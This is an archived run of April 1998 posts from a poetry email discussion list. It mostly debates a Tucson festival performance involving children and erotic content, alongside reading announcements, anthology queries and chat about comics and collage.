Frankly we've all heard worse, the problem was audience. I think Becky Byrkit clearly screwed up big. The Tucson Poetry Festival got smeared in the process.

Rachel writes "there is nothing inherently damaging to children about sexual or homoerotic material."

I agree with this one hundred percent, but there are plenty of parents who disagree with this vehemently and who certainly do not want their kids performing on stage while such material is being presented.

The question is: do you screen those people out of your event, or do you program your event around those people? I suspect most organizations do a little of both.

Rachel, what if the young "channeler" you mentioned in your previous post was on the same bill as someone who read children's poetry, or who brought a lot of kids and their parents into the audience? Wouldn't your cringe factor be multiplied? What if these same parents then went to the local newpaper, and through this your reading series receives the only media publicity it has ever received in the local newsmedia?

So, do you tell the "channeler" to censor himself, or do you tell the other reader they might not want to bring their kids to the reading? I find both alternatives somewhat distasteful, but I'm still not quite sure how I would handle it myself.

Hugh Steinberg

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258. Karen Kelley
Byrkit Performance
Fri 10 Apr 1998

Hi Charles,

Where can I see some of Becky Byrkit's work? Any on the web?

You know, I remember a woman asking me about a reading I was going to do & she wondered if it'd be "appropriate" to bring her daughter. I thought is was kind of an odd question, and now it occurs to me that it was probably in Tucson or Phoenix. What are you guys up to down there?!?!

I am curious to see the work: I usually see parents tripping over things their kids would handle calmly, if not for the ensuing drama. If her work is violent, that's one thing; if it's just erotic...

↑ Index

259. Rachel Levitsky
Re: local issue: byrkit performance
Fri 10 Apr 1998

``I think she needs to be punished,'' he said. ``No children should be subjected to something like this.''

Do listlings agree with this, that the erotic is 'bad' for children?

" a similar event occurred several years ago when the theme of the festival was love poetry and the winner of a statewide poetry contest

(who
traditionally reads first on a Saturday night) brought her grandchildren
to
hear her read, only to be followed by some rather explicit homoerotic
love
poetry by Boyer Rickel and Marilyn Hacker)." --from Hugh's post

I wasn't there and don't know the work. Certianly, it is bad faith to include in your performance, a group who you think might be alienated by/from the work. However, there is nothing inherently damaging to children about sexual or homoerotic material. Children, need I remind, are "subjected to" and "ambushed by" an abundance of what I would call inappropriate imagery of starving women made to look sexy on buses, and the obvious violence bla bla bla, we all know this. And Marilyn Hacker's poetry is offensive because of a piece of phallic plastic????? In a session devoted to love poetry?? What'd they think?

A personal experience:

A young poet wanted to read at Left Hand and sent me work. I was trying to encourage just this thing and felt I needed to honor his effort, despite my reservations about the person. The week before his scheduled reading, I heard him read, and was so offended that I walked out (this, as far as I recall has only happened to me one other time, I think it was Richard Hell--what da ya think a that?) He, a 20yr old Jew from phily, was "channeling" black slaves on plantations, and young women being sexually abused, and another I didn't hear because I left. His depictions were stereotypical, narrow, extremely flawed vis a vis bad acting, and violent/screaming. So much for the subject matter being the problem. Obviously both of those subjects could be handled in many sensible, sensitive and textured ways. Still, as awful as I found it, he has his fans who love his work, see it as cutting edge.

I flipped. Safety, respect between reader & audience are critical to the Left Hand Reading Series. I wanted to ban him, or read his work in advance or tell him he couldn't read that shit in our space. I felt righteous and justified when I called a meeting between him and the organizers. We'd decided the most we could do was ask him not to channel. But as soon as we were done speaking with him, we knew, we had to take it back. So we told him he knew our feelings and could read whatever he wanted. Thus sprouted the creation of a mission statement, which is explicit about the values of its organizers. In general, I agree that one can't 'censor' or oversee a writer, not without being appropriating and paternalistic. However, one can create a tone and atmosphere that encourage sensitivity and discretion. Our young poet read different work in the end.

I don't know if that addresses your question Hugh.

Chag Samiach,
RDL

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260. linda russo
MOVING BORDER/MM KIM
Fri 10 Apr 1998

------ Message Follows -------

help!!

my copy of Moving Borders went to Oregon by mistake & I have to wait another week . . . what agony! Was wondering if any would be so kind as to share -- I'd love a peak at the table of contents . . . maybe someone can fax me a photo-copy? of give a quick rundown here or backchannel? thx.

also, am looking for the e or s mail of Myunk Mi Kim. . . thx. again

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261. Rachel Levitsky
Re: for my sederless Boulder Passover
Fri 10 Apr 1998

---

a poem from June Jordan's _haruko/love poems_:

Why I became a pacifist
and then
How I became a warrior again:

Because nothing I could do or say
turned out okay
I figured I should just sit
still and chill
except to maybe mumble
‘Baby, Baby:
Stop!’
AND
Because turning that other cheek
    holding my tongue
    refusing to retaliate when the deal
    got ugly
And because not throwing whoever calls me _bitch_
    out the goddamn window
And because swallowing my pride

saying I'm sorry when whoever don't like
one single thing
about me and don't never take a break from
counting up the 65,899 ways I talk wrong
I act wrong
And because sitting on my fist
neglecting to enumerate every incoherent
rigid/raggedy-ass/disrespectful/killer cold
and self-infatuated crime against love
committed by some loudmouth don't know
nothing about it takes 2 to fuck and
it takes 2 to fuck things up
And because making apologies that nobody gives a shit
about

And because failing to sing my song

finally
finally

got on my absolute last nerve

I pick up my sword
I lift up my shield
And I stay ready for war

Because now I live ready for a whole lot more

than that

↑ Index

262. Rachel Levitsky

Re: for my sederless Boulder Passover

Fri 10 Apr 1998

---

so it'll be me, the cats, the mouse and

CYBER SEDER!!

http://www.jewmu.com/cyberseder/

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263. **Karen Kelley**
Re: local issue: byrkit performance
Fri 10 Apr 1998

Thanks for the poem, Hugh. As the mother of a 10 year old, I know that the word "fuck" would cause quite a stir among the children, but my response to that is kind of humorous, because the kids I know don't use swear words in common discourse, but get a HUGE kick out of them, and especially love to watch their parents respond to them. As for "jerking off in socks," I suspect that'd be a difficult line for a 13 year old to experience in a group of peers. I can't imagine what response Becky was going for.

And with (is it Barnes & Noble or B. Dalton?) fighting to keep Jock Sturges' book on their shelves, the whole question of what children should be exposed to flares up again.

A good book: _The Body in Question_. Photography & questions of trangression (includes Jock Sturges, Mapplethorpe, the woman who photographs transvetites/transexuals). And for a GREAT essay, check out Dave Hickey on Mapplethorpe in Hickey's _The Invisible Dragon: Four Essays on Beauty_.

I have a Robert Morris book with an image of Morris naked on the cover. All of the kids in the neighborhood are aware of this book, because my daughter, who insists it be turned cover-down in her presence, MUST show it to everyone. And then she explains that we have lots of naked covers on our books, because they're art.

I also think of Richard Serra's "Tilted Arc," the gorgeous sculpture that was removed from a public space because at least part of the "public" hated having to walk around it to get to their places of business, etc. It caused quite an argument between two of my friends: one a curator, one a sculptor who often makes public pieces.

I don't know the answer to this; but it's a great subject.

Hugh Steinberg wrote:

> *Frankly we've all heard worse, the problem was audience. I think Becky Byrkit clearly screwed up big. The Tucson Poetry Festival got smeared in the process.*
>
> *Rachel writes "there is nothing inherently damaging to children about sexual or homoerotic material."*
>
> *I agree with this one hundred percent, but there are plenty of parents who disagree with this vehemently and who certainly do not want their kids performing on stage while such material is being presented.*

> *The question is: do you screen those people out of your event, or do you program your event around those people? I suspect most organizations do a little of both.*
>
> *Rachel, what if the young "channeler" you mentioned in your previous post was on the same bill as someone who read children's poetry, or who brought a lot of kids and their parents into the audience? Wouldn't your cringe factor be multiplied? What if these same parents then went to the local newpaper, and through this your reading series receives the only media publicity it has ever received in the local newsmedia?*
>
> *So, do you tell the "channeler" to censor himself, or do you tell the other reader they might not want to bring their kids to the reading? I find both alternatives somewhat distasteful, but I'm still not quite sure how I would handle it myself.*
>
> *Hugh Steinberg*

↑ Index

264. **charles alexander**

Re: local issue: byrkit performance

Sat 11 Apr 1998

The Byrkit issue is a tough one.

I do fault Becky Byrkit for getting children involved in a performance they didn't know, and their parents didn't know, would have the kind of content it had.

I also don't think children need to be saved from the erotic, not at all. But I don't think that's what we're talking about here. More about a poet who didn't let children or parents (not in the audience, but IN her performance) know what that performance was about. Should they have asked? Probably so. But that doesn't excuse Byrkit.

As far as what she read or performed, I have no problem with it, nor with it being available to audiences of all ages. I'm not enthused about her work at all, but I would never censor it or try to limit its audience.

I do think the newspaper article was ridiculous, although not AS ridiculous as some community responses to it. If you want to see the online version of the article, I believe you can find it at http://www.azstarnet.com or at least you can today, I don't know what they do there when the next day's issue of the online paper comes out. But the online version has responses from the community linked to it. While one I read this morning supports the poet, others do not, and even invoke more strangeness than the newspaper quote about speaking "negatively about god." One respondent decries the foibles of liberals and ends with

the question, "Where is Joe McCarthy when we need him?" We can laugh at that, but it's also scary.

And of course, the sad thing to me is, after all the 16 years of this poetry festival, years which have featured people like bp Nichol, Robert Creeley, Daphne Marlatt, Kamau Brathwaite, Mei-mei Berssenbrugge, Amiri Baraka, Allen Ginsberg, Nathaniel Tarn, Ron Silliman, Susan Howe, Michael Palmer, Rosmarie Waldrop, Jerome Rothenberg, Gwendolyn Brooks, Nathaniel Mackey, and many many more -- THIS is what commands the newspaper's front page attention. It (the Byrkit event) wasn't good poetry, and it's not good news.

charles

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265. George Bowering
Re: Poetics of comic strips
Sat 11 Apr 1998

> *Comics sit side by side with poetry in my mind*
> *some of my favorites*
> *1 Daredevil*

Do you mean the original one in (I think) EC Comics, or the more recent one in the red outfit , the blind guy for Marvel?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

266. Karen and Trevor
Re: MOVING BORDER/MM KIM
Sat 11 Apr 1998

Myung Kim can be reached at
Department of Creative Writing
San Francisco State Univ
1600 Holloway Ave
San Francisco, CA 94132

linda russo wrote:
>

> ------ Message Follows -------
>
> help!!
>
> my copy of Moving Borders went to Oregon by mistake & I have to wait
> another week . . . what agony! Was wondering if any would be so kind
> as to share -- I'd love a peak at the table of contents . . . maybe
> someone can fax me a photocopy? of give a quick rundown here or
> backchannel? thx.
>
> also, am looking for the e or s mail of Myunk Mi Kim. . . thx. again

↑ Index

267. Karen and Trevor

Re: Poetics of comic strips

Sat 11 Apr 1998

ScoutEW wrote:
>
> Ever seen the stuff Ron Padgett and Joe Brainard have done with comics?
> At the current display at the NY public library sits is one of their
> originals.
> Comics sit side by side with poetry in my mind
> some of my favorites
> 1 Daredevil
> 2 Mighty Mouse (yeah he was a superhero)
> 3 The Invisible Woman
> 4. Iron Fist and Power Man
> 5. Hawkeye
> and yours..

Sandman
Books of Magic
House of Secrets
Various mini series along these lines usually involving Gaiman and/or McKean

I'm interested in selling some Vertigo titles as well--anyone can backchannel if interested

Karen McKevitt

↑ Index

268. Robert J. Tiess
Spring 1998 Poetfest Anthology
Sat 11 Apr 1998

~-~-~-

pages we mumble through so as to avoid the Arizona ambush problem ourselves).

Ron

↑ Index

270. Wendy Kramer
thy cables breathe the bell atlantic
Sat 11 Apr 1998

Date: Sat, 11 Apr 1998 11:32:33 -0500
From: Wendy Kramer <[redacted]>
Organization: none
To: UB Poetics discussion group <[redacted]>
Subject: thy cables breathe the bell atlantic
References: <[redacted]>

swill!

took the walk across the brooklyn bridge yesterday and there threw the choiring strings rang said trademark. (this is the view crossing from brooklyn to manhattan).

my poetic sentiment quickly switched to poetic hilarity amidst sunny skies and the steady streams of tourists. i hadnt known the promenade would be dead center, with car traffic running both sides below. it was like walking a boardwalk, like walking down the champs elysee, like the biggest most permissive guiliani jaywalk ever invented! one more amusement park enclave, and pleasant.

those cables amazing; it really is like walking threw a harp.

on collage: there's an exhibit at Krispy Kreme donuts hear near nyu of a man named michael albert: the brochure reads: "The Serial Artist. Serialism: Cerealism + Sir Realism." he's made puzzle-like collages out of cereal boxes, POST cereals (for post-cerealism get it). And too, innerestingly has been at both ends of appropriation of product labels-- said cereal box collages and other collages made of food labels (man afta my own heart) , but also some of his artwork has been made _into_ product labels, for his self start company Tri-State Natural Foods. whose fruit juices are avail. "here at Krispy Kreme." a quote from the brochure agin: "Though some question the practicality of art as a thing in general, no one can deny the necessity of the label for product packaging, and what a dream for any young American to combine the joy of creating unique and beautiful designs and images within the framework of reality in this busy, moving, ever-evolving world of commerce in which we live."

hmmm...reality dream indeed...
eye stickin my
"patent name on a signboard brother"

wendy

↑ Index

271. **dbkk**
A. Berrigan/Y. Morrison at Canessa Park
Sat 11 Apr 1998

Small Press Traffic and Canessa Park Reading Series present:

Anselm Berrigan
Yedda Morrison

Tuesday, April 14, 7:30 p.m.
at Canessa Park
708 Montgomery at Columbus
San Francisco
$5

I remember going to a reading way back in the 1990s when Anselm Berrigan was introduced as "the sexiest poet in San Francisco." Well, he's grayed and matured now (and moved to Brooklyn) but the former It Boy still knows how to pack a poem with wit, touch, a shimmering irony and plenty of U-turns between sense and bafflement. Berrigan is a vortex, a nexus, a weather system all to himself. Wherever he goes he catalyzes atmospheres, scenes, admirers, and this fine new work. Words--the right words--spin his way like darts. Berrigan is the author of On The Premises (Gas Editions) and They Beat Me Over the Head with a Sack (Edge Books). He currently teaches at Brooklyn College. This event marks a happy return for us.

We celebrate with Yedda Morrison the publication of her first book, Her Knife, Fork & Spoon: A Book of Etiquette (Double Lucy Press), and the first issue of Tripwire, the magazine of youth poetics she edits with David Buuck. She was born in San Francisco, lived in a free store in the Haight Ashbury, and spent her childhood "on communes, attending anti-nuclear power rallies, etc." She was the assistant editor for Moving Border_ and a former intern at Small Press Traffic. In Morrison's writing distinctions disappear between person and object, object and subject, tense and waistcoat. On this shifting ground of raw, burnt satin, an uneasily female perspective emerges, evoking the claustrophobic sensuality of Eva Hesse, Gloria Grahame, Jean Rhys.

↑ Index

272. RaeA100900
Moving Borders
Sat 11 Apr 1998

I haven't gotten my copy of Moving Borders either - and I'm a contributor! I wonder if this is typical or if I have a unique situation which I should take up with "the proper authorities."

Rae Armantrout

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273. Burt Kimmelman
Talisman Announcements
Sat 11 Apr 1998

From: MX%"[redacted]" 11-APR-1998 11:15:04.08
To: MX%"[redacted]"
CC:
Subj: Re: see below

Date: Sat, 11 Apr 1998 11:15:13 -0400 (EDT)
From: Edward Foster <[redacted]>
To: "Burt Kimmelman [redacted]" <[redacted]>
Subject: Re: see below

burt: could you please forward this to the buffalo chat line?

GRAND OCCASIONS FOR WONDER AND JOY. POETRY LIVES!

(1) A GREAT AND WONDERFUL EVENING OF CONTEMPORARY RUSSIAN POETRY IN ENGLISH TRANSLATION:

with Vitaly Chernevsky, Alex Cigale, Thomas Epstein, Vladimir Gandelsman, Henry Gould, John High, Bob Holman, Lisa Jarnot, Julia Kunina, Mark Lipovetsky, Yaroslav Magutin, Kristin Prevellet, Vadim Mesyats, Leonard Schwartz, Eleni Sikelianos, Tod Thilleman, Sam Truitt, Lewis Warsh, and others

Tuesday, April 14th; 7:00 P.M

Bissinger Room, Stevens Center, Stevens Institute of Technology, Hoboken, New Jersey. -- Convenient to PATH -- Please call [redacted] for directions and further information.

FREE!

(2) PLEASE JOIN US TO CELEBRATE THE PUBLICATION OF:

MOVING BORDERS: THREE DECADES OF INNOVATIVE WRITING BY WOMEN, edited by Mary Margaret Sloan.

Readings from the anthology by Abby Child, Jessica Grim, Erica Hunt, Maureen Owen, Julia Patton, Mary Margaret Sloan, Rosmarie Waldrop, Marjorie Welish, and others.

Friday, April 17, 1998; 7:30 P.M.

CERES GALLERY, Suite 306, 584/588 Broadway (nr. Spring Street, Soho), New York City.

FREE!

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274. Maria Damon
Re: Talisman Hegemony at Last!
Sat 11 Apr 1998

---

just had a chance to look at this book, courtesy of mark nowak, one of its inmates...it's a lovely book, quite satisfying, and aroused the admiration of several of my guests at last night's anti-seder party (there was some leavened bread served and no haggadahs available until after desert).

At 3:28 PM +0000 4/10/98, Robert Archambeau wrote:
>So there I was in downtown Lake Forest, IL on my way to grab what passes
>for a bagel around here when I see a stack of the
>Jarnot/Schwartz/Stroffolino Talisman "Anthology of New (American) Poets"
>gleaming in the window display of the local B. Dalton's.
>
>Given the sort of books they normally carry, this is an occurence on par
>with seeing a cardboard cutout of Tom Raworth in the window of the local
>hardware store. Whoever is handling distribution at Talisman House has
>my eternal admiration. Today B. Dalton, tomorrow the world!
>
>By the way -- anyone else find Rosmarie Waldrop's cover blurb -- "it's
>the language of the future" a little ominous? Will the second edition
>say "We will bury you"?
>
>Best,
>
>Bob
>
>
>--
>Robert Archambeau
>Department of English
>Lake Forest College

>Lake Forest, IL 60045
>http://www.lfc.edu/~archamb/
>
>" on the end
>of each decision stands a heretic"
>--Michael Barrett

↑ Index

275. **linda russo**
Re: Treaded chit-chat
Sat 11 Apr 1998

---

i really fell out of the loop on this thread; i hope it's not too late . . . the conversation has gone many places & it's been fun catching up -- & in light of the quiteness of this (apostate?) list time i'll jump right in. . .

so here i am, "womankind, with her tools of magic, the broom and the mop" (Hawthorne)

but mostly i want to respond to Mark Weiss' post:

> *Somebody a long time ago decided that rhymes ending with an unstressed syllable were "female." The designation was certainly applied by a male, and while the designation is rich with suggestion about attitudes about gender, it's prosodically nonsensical.*

isn't it also, though, prosidically _sensical_ -- one way to make sense, which happens to be mapped onto another sense-making system (gender)?

> *Men and women have been more-or-less communicating with language for a long time, and men and women have been unselfconsciously enjoying each other's writing for almost as long as there's been writing, and usually without the need of a translator. So the differences must be relatively superficial.*

Or rather, men have been "communicating" to women . . . not to forget that we're also talking about a power relation. But this thread has, i think, moved beyond that --

i agree with you, more or less about the genders understanding eachother -- only it's not that the differences are superficial, but that they're so widespread & undetectable; i mean to stake difference between two genders is just one way of mapping, delimiting & so discussing, "difference";

just as cixous & irigaray map gender onto writing to talk abt. it. Of course women don't write differently from men as a gender -- but women relate to the whole set of relationships, of which language is but one, "differently" (in a set which includes innumerable differentlies). So as reductive as French feminisms is in places, I can understand the use, however temporal/ary in making that

reduction. When Irigaray & Kristeva try to get at a different understanding of time, of narrative, of logic, they want nothing less than to rewrite (or at least irrupt) the whole of western metaphysics -- & they see possessing a body marked "other" as being capable in some ways of accomplishing that; they see the text as one thing that can be a marker of that different set of relations, in this case in text's opacity, rather than in its transparency (to pull out a whole other set of binaries that are often dispute)

> *I don't know that the suggested gender difference, however slight or major, is important to any agenda, but I would be intrigued if it exists. Rather than quoting theorists why not present a text and explain convincingly why it has to be by a member of one or another gender?*

I don't think this is what Katy was after -- rather she saw certain formal/syntactic qualities as having been employed by women writers to perhaps mark or "gender" a text. (hence katy's words:
>I think it is also entirely possible to do individual readings of
> various "experimental" female writers through a lens of gender
> identificiation

i.e. a lense that sees gender -- am i right, katy?) I'd like to talk a little more about the gendering though -- if we're trying (as an intellectual socius) to think beyond binaries then we have to allow that texts can be multiply marked "others" with the understanding that there is no "self" (in the self/other equation) -- & by singling out women writers we undermine that effort -- though i'd feel pretty comfortable saying texts can be marked "other" than hegemonic, i.e. antinomian, thereby relating "otherness" to a whole set of operations (in some places denoted as patriarchy -- though what does that really mean anymore?) rather than to a particular "gender" (o great now i have to put that in scare quotes)

Of course women aren't more prone to dashes or rupture or hypotaxis. But according to Irigaray, until we find a "female" language that women can't exist as other than "other"; now if you're a lacanian this makes perfect sense!! -- but this is just the sexier version of the "dream of a common language" -- it doesn't exist & there's no reason why men can't go searching for it as well!

I think a lot of what goes on in contemporary women's poetry is the refusal to be "othered" & a claiming of language as a material to explore all sorts of difference -- while still being a "feminist" (in Howe's antinomian sense of the word, or Dodie's sense of it not being a valid word). But that just might be my sense of my ill-fraught intentionalism which doesn't make it through my texts anyway.

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276. **dbkk**
SF catsitting gig
Sat 11 Apr 1998

Hi, this is Kevin Killian in San Francisco. Dodie Bellamy and I will be out of town from April 24th through May 3, and I'm looking for someone who can come and stay in our apartment while we're away. If you're coming to San Francisco during this period and looking for a place to stay let me know. Basically I need someone to feed our two cats and take in all the mail. The cats, Blanche and Stanley, are quite friendly and love having visitors. The apartment is close to downtown San Francisco and right in the middle of everything. For those of you who have never been here it was featured in Feb 1995 issue of ARTFORUM and believe me has not changed much in the intervening years. So, let me know if you can help me out here. Even if you are not staying long or just for a weekend or whatever it would still help me.

Back channel please, although all would be interested I'm sure in how I'm solving this common problem.

Thanks

Kevin K.

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277. **Billy Little**
comics page collage
Sat 11 Apr 1998

one aspect of this was used quite effectively by the situationists, including guy debord, and was known as detournement. Primarily the panels remained, the dialogue was all rewritten to support political mayhem, Rex Organ, was early american one by Jess? http://www.nothingness.org/SI/fullindex.html

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278. **morpheal**
Re: re : Alien Dreams Now: EMRadiation and New Cosmologies
Sat 11 Apr 1998

> *Bob Ez. is this what you mean by Cherenkov radiation (see definition below)? Can you provide a better definition than the one below? Can you provide an explanation why Cherenkov radiation is important to your argument or I guess I don't really understand tachyons and how they would emit light and what speeds that light would travel at?*

I backchanneled the grisly details.

> *quick flashes of blue Cherenkov light that result from gamma ray air showers. These gamma rays originate from astrophysical sources at galactic and extragalactic distances. When they enter the earth's atmosphere, the gamma rays interact with air molecules, creating an extensive shower of high-energy particles. These particles go faster than the speed of light in air, and thus emit light, or Cherenkov radiation. This radiation (at optical and ultraviolet wavelengths) is beamed to the ground, where it is readily collected by the heliostat mirrors.*"

Actually it is the blue light emitting aliens that I would worry about most. The ones that emit a a blue glow might cook you with the likes of high energy gammas much more easily than the green glow aliens. The green glow aliens are nothing nice, to take home to dinner, either. They could cook you almost as easily. This is why I always laugh about the friendly green glowing men from Mars. They are anything but friendly. More alike to walking into an xray machine without any lead shielding ? Possibly.

The yellowish scintillating glow aliens, and the orange yellow glow and reddish glow aliens are relatively safe in comparison. Might be a little warm settling down to dinner with a reddish glow alien, but it should be safe enough unless spontaneous combustion happens.

The yellowish scintillations are most common of all, and safest of all.

Some ghost stories include those. That is what the ghosts appear to be. They are sensed as yellowish or yellowish orange scintillations.

I myself have had some experiences of that kind. The first when I was a an early teen. It was a battlefield of the war of 1812 - 14, in Stoney Creek Ontario and while in the park I "bumped into" something. It was perceivable as a human form of yellowish scintillation to orange scintillation like the profile of a person from head to foot. Stronger at the head and about five feet roughly in height. I am sure it was a dead soldier. At least the energetic imprint of one that might have died there, leaving some emanations as information locked into the local matrix of material stuff that had persisted from that time period.

Inter dimensionals also manifest as yellowish and yellowish orange scintillations sometimes. Lots of stories to that effect, so I tend to believe there is a basic natural phenomenon in common to all of that, and in common to what is at the basis of Cherenkov radiation.

M.

↑ Index

279. Daniel Zimmerman

Re: re : Alien Dreams Now: EMRadiation and New Cosmologies

Sat 11 Apr 1998

---

morpheal wrote:
>
> >Bob Ez. is this what you mean by Cherenkov radiation (see definition below)?
> >Can you provide a better definition than the one below? Can you provide an
> >explanation why Cherenkov radiation is important to your argument or I guess I
> >don't really understand tachyons and how they would emit light and what speeds
> >that light would travel at?
>
> I backchanneled the grisly details.
>
> >quick flashes of blue Cherenkov light that result from gamma ray air showers.
> >These gamma rays originate from astrophysical sources at galactic and
> >extragalactic distances. When they enter the earth's atmosphere, the gamma
> >rays interact with air molecules, creating an extensive shower of high-energy
> >particles. These particles go faster than the speed of light in air, and thus
> >emit light, or Cherenkov radiation. This radiation (at optical and ultraviolet
> >wavelengths) is beamed to the ground, where it is readily collected by the
> >heliostat mirrors."
>
> Actually it is the blue light emitting aliens that I would worry about most.
> The ones that emit a a blue glow might cook you with the likes of high energy
> gammas much more easily than the green glow aliens. The green glow aliens are
> nothing nice, to take home to dinner, either. They could cook you almost as
> easily. This is why I always laugh about the friendly green glowing men from
> Mars. They are anything but friendly. More alike to walking into an xray
> machine without any lead shielding ? Possibly.
>
> The yellowish scintillating glow aliens, and the orange yellow glow and
> reddish glow aliens are relatively safe in comparison. Might be a little
> warm settling down to dinner with a reddish glow alien, but it should be
> safe enough unless

> spontaneous combustion happens.
>
> The yellowish scintillations are most common of all, and safest of all.
>
> Some ghost stories include those. That is what the ghosts appear to be. They
> are sensed as yellowish or yellowish orange scintillations.
>
> I myself have had some experiences of that kind. The first when I was a
> an early teen. It was a battlefield of the war of 1812 - 14, in Stoney Creek
> Ontario and while in the park I "bumped into" something. It was perceivable
> as a human form of yellowish scintillation to orange scintillation like the
> profile
> of a person from head to foot. Stronger at the head and about five feet
> roughly in height. I am sure it was a dead soldier. At least the energetic
> imprint of one that might have died there, leaving some emanations as
> information locked into the local matrix of material stuff that had
> persisted from that time period.
>
> Inter dimensionals also manifest as yellowish and yellowish orange
> scintillations sometimes. Lots of stories to that effect, so I tend to
> believe there is a basic natural phenomenon in common to all of that, and in
> common to what is at the basis of Cherenkov radiation.
>
> M.

"Cherenkov [Cerenkov] radiation (P.A. Cherenkov) Radiation emitted by a massive particle which is moving faster than light in the medium through which it is travelling. No particle can travel faster than light in vacuum, but the speed of light in other media, such as water, glass, etc., are considerably lower. Cherenkov radiation is the electromagnetic analogue of the sonic boom, though Cherenkov radiation is a shockwave set up in the electromagnetic field."

This comes from

http://www.goto.com/p/resultframes.mp?rawq=Cherenkov+radiation&canon=%28cherenkov%26radiation%29&index=0&urllist=eD%2f%2bdQ02Q2Im5iRX5uelglXnJlboF2RUFmcmF%2bvnJJYX6ydjak3MyU2sAqvOy09KzYGrRzZftzg5Uy8nM0mvFEiD3BLsGgBVmJhjDDUTAJpKL9E%3d&type=search

Obviously, this doesn't [didn't? won't? -- I guess it depends on how quick you are...] help.

Help! Does the Cherenkov radiation derive [proceed? precede?] only from tachyons? & even if so [<so?], what has that to do with the sort of wraith-

persistence you describe, & what has that to do with poesis? Also, you mention only a range within the visible spectrum; surely events of such energies ramify at higher [& perhaps lower?] energies, no?

Curious [yellow?],

Dan

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280. ScoutEW
Daredevil, Diane Wakowski
Sun 12 Apr 1998

I am pretty sure that Daredevil aka MATT Murdock has been around in comic form before anyone on this poetics list was born, who knows? like 1920s.. What say someone backchannel me with Sean Killian (of Catskill fame)'s phone numbers so I can tell him about the Tortoise show in NYC _On the Poetics of collage, I see some of Scalapino as collage, Dead Souls possibly but what I enjoy the most is some of Ezra Pound's Cantos...it depends.. When growing up my favorite thing to say around the late 70s was "Wondertwins Power ACTIVATE" touching invisible rings to my sister Tanya's hand. "Form of a Bucket of water" and then throwing myself down on the ground headache county! So somebody explain something to me about Diane Wakowski, in some of her earlier poems she talks about a twin brother who commits suicide, in a later interview I read that this brother possibly never existed.. and when people asked her about it she would look away. So what's the deal with this, did she make him up or what? I know it shouldn't matter but it doesn't make sense to make up a twin suicide, if it is real that is truly horrible....my nightmare.. "Form of a mouse astronaut!"

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281. Steve Carll
Antenym 15 celebration in Golden Gate Park
Sun 12 Apr 1998

(Apologies to anyone who receives this message more than once)

announcing A CELEBRATION OF THE PUBLICATION OF
Antenym 15
Sunday, April 26th 2:00 PM $3 donation
Redwood Trail, Strybing Arboretum,
Golden Gate Park

featuring a reading by Eric Selland

Improved directions to reading: 1. Enter Strybing Arboretum through its main entrance gate, located adjacent to the Golden Gate Park Entrance at the intersection of 9th Avenue and Lincoln Way.

2. After entering Strybing Arboretum gate, look for the paved path heading south towards Lincoln Way (sign marked "California Natives").

3. Follow this paved path, staying roughly parallel to Lincoln Way until you reach the nursery buildings.

4. After passing the nursery buildings, bear right (north) on the paved path and look for the Redwood Trail sign. The Redwood Trail is an unpaved path.

5. Follow the Redwood Trail and look for markers #17 and #18. Nearby is a tree-ringed clearing with benches and a tree-stump podium. The reading is here.

For more information or a map, call Steve Carll at [redacted], or email [redacted], or write 106 Fair Oaks St. #1, San Francisco, CA 94110-2951.

Antenym 15 features the complete text of Eric Selland's *The Condition of Music*, as well as work by: Stephen Collis (Burnaby, B.C.), Ann Erickson (Santa Rosa, CA), Norman Fischer (Sausalito, CA), Celestine Frost (New York City), Jim Leftwich (Charlottesville, VA), Patrick Pritchett (Boulder, CO), Elizabeth Robinson (Berkeley), Joe Ross (San Diego), Standard Schaefer (Pasadena, CA), Paul Silvia (Lawrence, KS), and Perrin Wright (Brooklyn) and two front covers designed by Spencer Selby and Steve Carll.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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282. **dbkk**
Re: Moving Borders
Sun 12 Apr 1998

Date: Sat, 11 Apr 1998 14:39:54 EDT
From: RaeA100900 <[redacted]>
Subject: Moving Borders

I haven't gotten my copy of Moving Borders either - and I'm a contributor! I wonder if this is typical or if I have a unique situation which I should take up with "the proper authorities."

Rae Armantrout

Rae,

Nobody's gotten their contributors copy. The book's only been in print for like two weeks. We had two cases of them at the reading at SPT and we sold out. We could have easily sold another case. 120 people came. The readers kept saying what a "moving" experience it was.

Though I don't have time to print out the entire table of contents, here are Rae's poems: Grace, Dusk, Single Most, Admission, Home Federal, Mechanism, The Book, Attention, Covers, The Daffodils, A Pulse, Kinds, and The Plot. A great selection and we're looking forward to your new book from Atelos, *True*. You're sandwiched between Abigail Child and Kathy Acker.

Dodie

↑ Index

283. **dbkk**

Re: local issue: byrkit performance

Sun 12 Apr 1998

This is Kevin Killian, thinking anecdotally about the issue of children and how they're affected by the performance of the erotic on stage....

Dodie remembers seeing Asa Watten placidly and studiously coloring and drawing on the floor of some of the most bizarre poetry events in Bay Area history. Nothing fazed Asa, he always had a new picture to draw. And he could sit through the lo-n-n-g-est poetry marathons too, he had the incredible, grave, patience of a Buddha.

I remember putting on Raymond Pettibon's play "Horror Tape Script" at New Langton Arts last year, or two years ago, and for the first time worrying, wow, what if kids come to this. [Those of you who have read the script will know it's a text originally written for videotape about 3 high school football players and their cheerleader girlfriends. Spending a weekend at a deserted, spooky mountain lake.] The other actors and I had to simulate all kinds of sex on stage, as well as mouth some raw language of the Pettibon kind. None of us were actually teens, though Edmund Berrigan came close.] I told the box office, don't sell any seats to kids. I didn't want their little faces staring in shock. I don't like them anyhow and don't think they bring much to the party. Hopefully the choir children in Becky Byrkit's performance will tonight be looking at their socks in

a new way, etc. Dear Charles (Alexander), I'm coming to Tucson next month and plan to behave as decorously as possible!

When I was a little boy Ann-Margret came to our school and sang and danced dressed up as one of Santa's helpers and I was terrified, she was so sexy, I started crying and crying and haven't stopped since.

↑ Index

284. **Gleason**
Re: catsitting gig
Sun 12 Apr 1998

---

even though i've been fairly silent for a few months now, i thought it would be worth it to break my silence for kevin and dodie's cats.

both these cats are real sweethearts. if blanche likes you, your lap becomes her new favorite seat. stanley used to spook me, he just looks at you with some weird calm gaze. this cat *knows* something. but i think he comes to respect you if you act like you know something too.

and they don't even make me sneeze much.

eryque

↑ Index

285. **Billy Little**
Re: women poets from Ireland
Sun 12 Apr 1998

---

eilleen ni cuchulain
medb mcgucken(sp?)

↑ Index

286. **David Zauhar**
women poets from Ireland
Sun 12 Apr 1998

